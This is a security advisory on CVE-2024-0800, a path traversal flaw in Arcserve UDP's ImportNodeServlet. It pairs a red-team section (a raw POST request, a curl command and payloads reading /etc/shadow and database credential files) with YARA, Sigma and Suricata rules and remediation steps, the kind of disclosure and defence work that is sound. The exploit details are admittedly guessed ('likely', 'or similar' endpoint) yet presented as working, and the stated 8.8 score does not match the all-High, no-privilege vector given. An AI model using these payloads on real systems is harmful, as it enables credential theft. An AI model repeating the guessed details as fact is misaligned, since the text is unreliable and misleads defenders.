CVE-2024-0800

Executive Summary

CVE-2024-0800 is a critical path traversal vulnerability in Arcserve Unified Data Protection (UDP) versions 9.2 and 8.1. The flaw resides in the ImportNodeServlet component within edge-app-base-webui.jar, specifically in the com.ca.arcserve.edge.app.base.ui.server.servlet package. An unauthenticated attacker can exploit this vulnerability to traverse directories and read arbitrary files on the server, potentially leading to full system compromise. The CVSS score of 8.8 (High) reflects the ease of exploitation and severe impact on confidentiality, integrity, and availability. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a Java-based enterprise backup solution (Arcserve UDP). The risk is primarily to on-premises deployments of Arcserve UDP.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: High (I:H) – Potential to overwrite files or inject malicious content.
• Availability Impact: High (A:H) – Could lead to denial of service or system takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for any organization using Arcserve UDP.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the ImportNodeServlet. This servlet is designed to import node configurations, but it fails to properly sanitize user-supplied input for file paths. An attacker can inject ../ sequences into the request parameters to escape the intended directory and access arbitrary files on the server's filesystem.

Root Cause: The servlet likely uses user input to construct a file path without validating that the resulting path is within the allowed directory. For example, a request like:

POST /importNode?file=../../../../etc/passwd

would cause the server to read /etc/passwd instead of the intended import file.

Attack Vector: The attacker sends a crafted HTTP request to the vulnerable endpoint. The servlet processes the file parameter (or similar) and reads the file from the filesystem. The contents are then returned in the response, allowing the attacker to exfiltrate sensitive data.

Impact: An attacker can read any file the application process has access to, including:

• Configuration files (e.g., database credentials, encryption keys)
• System files (e.g., /etc/shadow, /etc/passwd)
• Application source code
• Backup data

This can lead to privilege escalation, lateral movement, and full compromise of the backup infrastructure.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses user input to construct file path
String fileName = request.getParameter("file");
File file = new File("/var/arcserve/imports/" + fileName);
// Reads and returns file content

Patched Code (Expected):

// Patched: Validates and sanitizes the file path
String fileName = request.getParameter("file");
if (fileName == null || fileName.contains("..") || fileName.contains("/")) {
    throw new SecurityException("Invalid file name");
}
File file = new File("/var/arcserve/imports/" + fileName);
// Ensure the file is within the allowed directory
if (!file.getCanonicalPath().startsWith("/var/arcserve/imports/")) {
    throw new SecurityException("Path traversal detected");
}
// Reads and returns file content

The fix should include:

1. Rejecting any input containing ../ or absolute paths.
2. Using getCanonicalPath() to resolve the path and verify it starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Arcserve UDP 8.1 or 9.2.
• Network access to the web interface (typically port 8014 or 8443).

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /importNode or similar.
2. Craft a request to read a sensitive file:

   POST /importNode HTTP/1.1
   Host: target:8014
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 30
   
   file=../../../../etc/passwd
   

3. The server will respond with the contents of /etc/passwd.

Automated Exploitation (using curl):

curl -X POST "http://target:8014/importNode" -d "file=../../../../etc/passwd"

Advanced Payloads:

• Read application config: file=../../../../opt/Arcserve/conf/server.xml
• Read database credentials: file=../../../../opt/Arcserve/conf/db.properties
• Read system shadow file: file=../../../../etc/shadow

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing ../ or ..%2f in parameters.
• Look for requests to /importNode with unusual file paths.
• Alert on responses containing sensitive system files (e.g., root:x:0:0).

Honeypot:

• Deploy a fake /etc/passwd file with a unique string to detect traversal attempts.

Lab Setup:

1. Install Arcserve UDP 9.2 in a VM.
2. Expose the web interface on a isolated network.
3. Use Burp Suite or OWASP ZAP to intercept and modify requests.
4. Test the vulnerability by sending crafted payloads.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /importNode with file= parameter containing ../ sequences.
• Outbound connections from the Arcserve server to unknown IPs (data exfiltration).
• Unusual file read patterns in web server logs (e.g., reading /etc/passwd).

File System IOCs:

• Unexpected files in the Arcserve import directory (e.g., /var/arcserve/imports/).
• Modified configuration files (e.g., server.xml with backdoors).
• Presence of web shells or malicious scripts in the web root.

Process IOCs:

• Java process (java) reading files outside its normal working directory.
• Unusual child processes spawned by the Arcserve service.

Detection Engineering

YARA Rule

rule CVE_2024_0800_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests to Arcserve UDP ImportNodeServlet"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0800"
    strings:
        $traversal1 = "../" ascii wide nocase
        $traversal2 = "..\\" ascii wide nocase
        $traversal3 = "%2e%2e%2f" ascii wide nocase
        $traversal4 = "%2e%2e\\" ascii wide nocase
        $endpoint = "/importNode" ascii wide nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-0800 Arcserve UDP Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against Arcserve Unified Data Protection
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/importNode'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e\\'
    condition: selection
falsepositives:
    - Legitimate file imports with similar patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0800 Arcserve UDP Path Traversal Attempt"; flow:to_server; content:"POST"; http_method; content:"/importNode"; http_uri; content:"../"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Arcserve UDP servers from the network or restrict access to trusted IPs only.
2. Apply virtual patching: Use a WAF (Web Application Firewall) to block requests containing ../ in the file parameter.
3. Monitor logs: Enable detailed logging for the web server and review for suspicious activity.

Long-term Fix:

• Vendor patch: Await an official patch from Arcserve. Apply as soon as it becomes available.
• Upgrade: If a patched version is released, upgrade immediately.
• Code review: If you have access to the source code, implement proper input validation and canonical path checks as described in the "Vulnerable vs. Patched Code" section.

Workaround:

• Disable the ImportNodeServlet if not needed, by modifying the web application deployment descriptor (e.g., web.xml).

Valters IT
Securing your digital frontier.